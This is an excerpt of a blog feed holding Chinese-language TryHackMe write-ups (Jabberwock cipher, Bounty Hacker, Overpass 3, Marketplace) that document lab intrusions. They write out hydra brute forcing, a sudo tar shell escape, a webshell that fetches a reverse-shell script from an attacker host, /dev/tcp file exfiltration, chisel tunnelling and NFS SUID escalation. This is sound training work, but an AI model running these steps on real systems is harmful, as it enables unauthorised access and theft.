&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Bpe oqbzc nxyi tst iosszqdtz,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Eew ale xdte semja dbxxkhfe.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jdbr tivtmi pw sxderpIoeKeudmgdstd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;看起來是 jabberwocky 的詩，透過某種方法進行編碼/加密https://www.poetryfoundation.org/poems/42916/jabberwocky分析密文- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/eb1de-jOp5mLp.png"&gt;&lt;/li&gt;
&lt;li&gt;推測可能是 &lt;code&gt;Chaocipher&lt;/code&gt; 或 &lt;code&gt;Vigenere Cipher&lt;/code&gt;透過網站爆破- &lt;a href="https://www.boxentriq.com/code-breaking/vigenere-cipher"&gt;https://www.boxentriq.com/code-breaking/vigenere-cipher&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/638ac-EK1a9ti.png"&gt;&lt;/li&gt;
&lt;li&gt;炸出了結果&lt;code&gt;twas brillig and the slithy toves did gyre and gimble in the wabe all mimsy were the borogoves and the mome raths outgrabe beware the jabberwock my son the jaws that bite the claws that catch beware the jubjub bird and shun the frumious bandersnatch he took his vorpal sword in hand long time the manxome foe he sought so rested he by the tumtum tree and stood awhile in thought and as in uffish thought he stood the jabberwock with eyes of flame came whiffling through the tulgey wood and burbled a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/887a3-8WX8jpS.png"&gt;key 為 &lt;code&gt;thealphabetcipher&lt;/code&gt;透過廚師正式解碼- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2b1e4-x3EQ1uP.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#39;Twas brillig, and the slithy toves
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Did gyre and gimble in the wabe;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;All mimsy were the borogoves,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;And the mome raths outgrabe.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#39;Beware the Jabberwock, my son!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The jaws that bite, the claws that catch!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Beware the Jubjub bird, and shun
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The frumious Bandersnatch!&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;He took his vorpal sword in hand:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Long time the manxome foe he sought--
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;So rested he by the Tumtum tree,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;And stood awhile in thought.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;And as in uffish thought he stood,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The Jabberwock, with eyes of flame,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Came whiffling through the tulgey wood,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;And burbled as it came!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;One, two! One, two! And through and through
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The vorpal blade went snicker-snack!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;He left it dead, and with its head
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;He went galumphing back.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#39;And hast thou slain the Jabberwock?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Come to my arms, my beamish boy!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;O frabjous day! Callooh! Callay!&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;He chortled in his joy.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#39;Twas brillig, and the slithy toves
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Did gyre and gimble in the wabe;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;All mimsy were the borogoves,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;And the mome raths outgrabe.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Your secret is bewareTheJabberwock
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;看到了 secret 為 &lt;code&gt;bewareTheJabberwock&lt;/code&gt;輸入後 &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7c63f-5Mel3q2.png"&gt;&lt;/li&gt;
&lt;li&gt;取得了一組帳號密碼&lt;code&gt;jabberwock&lt;/code&gt;:&lt;code&gt;ThankedDrownedSpeakWishing&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssh"&gt;SSH&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;可以正常連上&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c3d32-RJnH72A.png"&gt;取得 User Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/53303-0vwOApL.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;}32a911966cab2d643f5d57d9e0173d56{mht&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;看起來是字串反轉&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/22556-CZaqehm.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;thm{65d3710e9d75d5f346d2bac669119a23}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 &lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aa648-rjXn67j.png"&gt;準備豌豆- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a67cc-6mlHnJO.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/584b0-nA1r8tC.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/71c75-oKhL743.png"&gt;sudo 版本怪怪ㄉ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6f9f2-mefh9q6.png"&gt;- 檔案系統可能怪怪ㄉ發現重新開機會用 &lt;code&gt;jabberwock&lt;/code&gt; 使用者執行腳本- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/72d3a-uWcPoQ7.png"&gt;而這個腳本我們可寫- 寫一個 reverse shell 然後重開機&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d1cd0-5JDJ3uF.png"&gt;重新開機後順利收到 shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/eca9b-cAc5mZ7.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二次提權"&gt;二次提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f3b73-KhkZZf1.png"&gt;觀察家目錄的檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d5742-wVyiANE.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;看起來是一堆的 hash&lt;/p&gt;</description></item><item><title>Bounty Hacker (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/19/bounty-hacker-try-hack-me-writeup/</link><pubDate>Thu, 19 Aug 2021 23:57:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/19/bounty-hacker-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/cowboyhacker"&gt;https://tryhackme.com/room/cowboyhacker&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.164.54&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 10.10.164.54 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/51e90-OHdpHys.png"&gt;&lt;/li&gt;
&lt;li&gt;21&lt;/li&gt;
&lt;li&gt;22&lt;/li&gt;
&lt;li&gt;80&lt;code&gt;nmap -A -p21,22,80 10.10.164.54&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/46028-fX6jwMc.png"&gt;&lt;/li&gt;
&lt;li&gt;FTP 可以匿名登入 !!觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b7d83-TcipcZA.jpg"&gt;&lt;/li&gt;
&lt;li&gt;沒啥東東dirsearch- 也沒啥東東&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6e58f-e6Yx7KD.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ftp-anonymous-login"&gt;FTP Anonymous login&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;FTP 登入&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4a8f3-eDhLW7K.png"&gt;&lt;/li&gt;
&lt;li&gt;裡面有兩ㄍ檔案都載下來FTP 檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/49c10-OHreXEW.png"&gt;作者是 &lt;code&gt;lin&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/26a16-jeU8FFE.png"&gt;- 看起來是一個密碼表&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="爆破密碼"&gt;爆破密碼&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;hydra -l 'lin' -P locks.txt ssh://10.10.164.54&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e6e7a-V5VCmJA.png"&gt;&lt;/li&gt;
&lt;li&gt;帳號 : &lt;code&gt;lin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 : &lt;code&gt;RedDr4gonSynd1cat3&lt;/code&gt;SSH 登入成功- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c0fcc-EMmqpa7.png"&gt;取得 user flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4d939-y5O6qRV.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 &lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9abbe-VrYqxmz.png"&gt;&lt;/li&gt;
&lt;li&gt;發現可以用 &lt;code&gt;sudo tar&lt;/code&gt;GTFOBins 尋找 tar sudo 提權- &lt;a href="https://gtfobins.github.io/gtfobins/tar/#sudo"&gt;https://gtfobins.github.io/gtfobins/tar/#sudo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh&lt;/code&gt;提權完畢，取得 root flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9fbce-0kebDB6.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Overpass 3 (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/18/overpass-3-try-hack-me-writeup/</link><pubDate>Wed, 18 Aug 2021 13:10:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/18/overpass-3-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/overpass3hosting"&gt;https://tryhackme.com/room/overpass3hosting&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.208.60&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先掃 Port&lt;code&gt;rustscan -a 10.10.208.60&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e7d2d-rD5MaOl.png"&gt;嘗試 FTP Anonymous 登入- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dca3a-S4radmP.png"&gt;&lt;/li&gt;
&lt;li&gt;發現不行觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/53f5b-M2jslnM.png"&gt;掃目錄- &lt;code&gt;python3 dirsearch.py -u http://10.10.208.60/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/backups/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;找到一包 Backup&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1aa57-yoQyHaf.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="gpg-解密"&gt;GPG 解密&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;觀察 Backup&lt;code&gt;wget http://10.10.208.60/backups/backup.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;裡面有兩個檔案&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d2e8e-8jvPuov.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cee4e-E0JaxzX.png"&gt;&lt;/li&gt;
&lt;li&gt;gpg 加密後的檔案跟它的 key&lt;code&gt;gpg --import priv.key&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gpg --output ./a.xlsx --decrypt ./CustomerDetails.xlsx.gpg&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a98e7-QYAREMT.png"&gt;解開後是一個 Excel 表格- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/25e42-FN7APLv.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;paradox:ShibesAreGreat123&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0day:OllieIsTheBestDog&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;muirlandoracle:A11D0gsAreAw3s0me&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="爆破密碼"&gt;爆破密碼&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;有一連串的帳號跟密碼，試著用 Hydra 爆破 SSH&lt;code&gt;hydra -L user.txt -P pass.txt ssh://10.10.208.60&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dfc50-PuFlIx6.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 SSH 不能用密碼登入試著爆破 FTP- &lt;code&gt;hydra -L user.txt -P pass.txt ftp://10.10.208.60&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/277e2-Y6IYkJ7.png"&gt;&lt;/li&gt;
&lt;li&gt;找到了一組帳密可以使用&lt;code&gt;paradox:ShibesAreGreat123&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ftp-2-webshell"&gt;FTP 2 Webshell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;嘗試登入 FTP&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c3dd5-77Rwv2x.png"&gt;&lt;/li&gt;
&lt;li&gt;發現看起來是 webroot&lt;/li&gt;
&lt;li&gt;放隻 Webshell 上去&lt;/li&gt;
&lt;li&gt;&lt;code&gt;put webshell.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/871ac-m1YHIcT.png"&gt;&lt;/li&gt;
&lt;li&gt;發現成功惹!!使用 Webshell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e9297-bpVLmNJ.png"&gt;&lt;/li&gt;
&lt;li&gt;放 Reverse shellhttp://10.10.208.60/webshell.php?A=curl%20-o%20%20/tmp/s%2010.13.21.55:8000/s&lt;/li&gt;
&lt;li&gt;本地開 nc -nlvp 7877&lt;/li&gt;
&lt;li&gt;http://10.10.208.60/webshell.php?A=bash%20/tmp/s&lt;/li&gt;
&lt;li&gt;收到 Reverse shell&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cb27f-cFAOx7B.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;轉互動式 shell&lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;找 Web Flag- &lt;code&gt;find / -iname '*flag*' -print 2&amp;gt;/dev/null&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;找到在 &lt;code&gt;/usr/share/httpd/web.flag&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d6d2f-Rb4zfZR.png"&gt;&lt;code&gt;thm{0ae72f7870c3687129f7a824194be09d}&lt;/code&gt;準備 Linpeas- &lt;code&gt;curl -o linpeas.sh 10.13.21.55:8000/linpeas.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bash linpeas.sh&lt;/code&gt;Sudo version 1.8.29發現 nfs 很可疑，但我們先繼續看下去- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9c131-wufaUIi.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe"&gt;https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe&lt;/a&gt;發現幾個檔案可以 setuid- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/50c4c-YS20qF5.png"&gt;&lt;/li&gt;
&lt;li&gt;但都不能利用發現 nfs 如果需要利用，需要用 showmount，但電腦裡沒有- 自己載一包來放著&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl -o ./showmount http://10.13.21.55:8000/showmount&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但 run 起來都失敗 QQ發現根目錄有奇怪的檔案- &lt;code&gt;/.autorelabel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/56d41-h35DLB7.png"&gt;&lt;/li&gt;
&lt;li&gt;用 nc 傳出來觀察&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat .autorelabel &amp;gt; /dev/tcp/10.13.21.55/1234&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現裡面是空的 QQ突然想到可能可以切換使用者- 因為前面我們 Excel 有密碼&lt;/li&gt;
&lt;li&gt;&lt;code&gt;su paradox&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/897f4-Sve53hC.png"&gt;&lt;/li&gt;
&lt;li&gt;切換使用者成功&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二次提權"&gt;二次提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;基本上我們猜測接下來就要使用 nfs 的漏洞，但是我們一開始 nfs 在掃 port 時並沒有掃到，因此猜測它只開在 local，我們來掃掃看 local 的 port準備 nmap binaryhttps://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap掃下去- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7929d-Rvfodoz.png"&gt;&lt;/li&gt;
&lt;li&gt;找到 nfs 開在 2049 port觀察發現 paradox 的 &lt;code&gt;.ssh&lt;/code&gt; 只有 public key- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1cd9e-wQh4gvk.png"&gt;&lt;/li&gt;
&lt;li&gt;好ㄉ沒啥用 = =本地端有開 nfs 但我們權限很低，那我們可以把 nfs 給用 port forwarding 打出來，使用 chisel- &lt;a href="https://github.com/jpillora/chisel"&gt;https://github.com/jpillora/chisel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl http://10.13.21.55:8000/chisel -o chisel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;chmod +x chisel&lt;/code&gt;輸入指令- 攻擊機 : &lt;code&gt;./chisel server --reverse -p 7414&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4e7fc-vnSOu9o.png"&gt;靶機 : &lt;code&gt;./chisel client 10.13.21.55:7414 R:2049:127.0.0.1:2049&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/645eb-qVIbN7f.png"&gt;用 nmap 掃攻擊機看看有沒有真的打通- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/91111-miQAQB8.png"&gt;把 nfs mount 到本機- &lt;code&gt;sudo mount -t nfs localhost:/ mount/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2e4dd-Zt6Z0hF.png"&gt;發現 mount 成功- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4912d-b4HeVgR.png"&gt;&lt;/li&gt;
&lt;li&gt;裡面有 ssh 的 key，所以我們可以複製出來直接用 james 的 ssh 進行登入&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e0f98-JHhPHll.png"&gt;&lt;/li&gt;
&lt;li&gt;也找到了 User 的 Flag在攻擊機 mount 的 nfs 目錄- 直接複製自己的 &lt;code&gt;/bin/bash&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;給它 +s 提供 suid&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/36340-WbW1ohS.png"&gt;再用 james 進行執行- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7fe92-KKhTeTA.png"&gt;&lt;/li&gt;
&lt;li&gt;發現怎麼還是 james QQ再回來攻擊機 chown 把 bash 的 owner 改 root- 就可以ㄌ!!&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1c38e-FStYNoX.png"&gt;Root flag- &lt;code&gt;thm{a4f6adb70371a4bceb32988417456c44}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9976b-I99be39.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="學到ㄌ"&gt;學到ㄌ&lt;/h2&gt;
&lt;p&gt;Port forwarding&lt;br&gt;
NFS 提權&lt;br&gt;
SUID 要 own=root才能用&lt;/p&gt;</description></item><item><title>The Marketplace (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/17/the-marketplace-try-hack-me-writeup/</link><pubDate>Tue, 17 Aug 2021 13:27:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/17/the-marketplace-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/marketplace"&gt;https://tryhackme.com/room/marketplace&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.74.8&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;首先先掃 Port&lt;code&gt;rustscan -a 10.10.74.8 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/65f49-THfTPBa.png"&gt;&lt;/li&gt;
&lt;li&gt;有開 22 80 32768&lt;code&gt;nmap -A -p22,80,32768 10.10.74.8&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/efe1f-DQEPjj6.png"&gt;觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c9b89-WZZdAkU.png"&gt;&lt;/li&gt;
&lt;li&gt;感覺滿廉價ㄉQQ掃目錄- &lt;code&gt;python3 dirsearch.py -u http://10.10.74.8/``robots.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;login&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;signup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7d845-WTfL2Io.png"&gt;嘗試註冊- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/994f8-kyz3rGk.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;meow&lt;/code&gt; / &lt;code&gt;meow&lt;/code&gt;嘗試貼文- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2727d-8ivNagm.png"&gt;&lt;/li&gt;
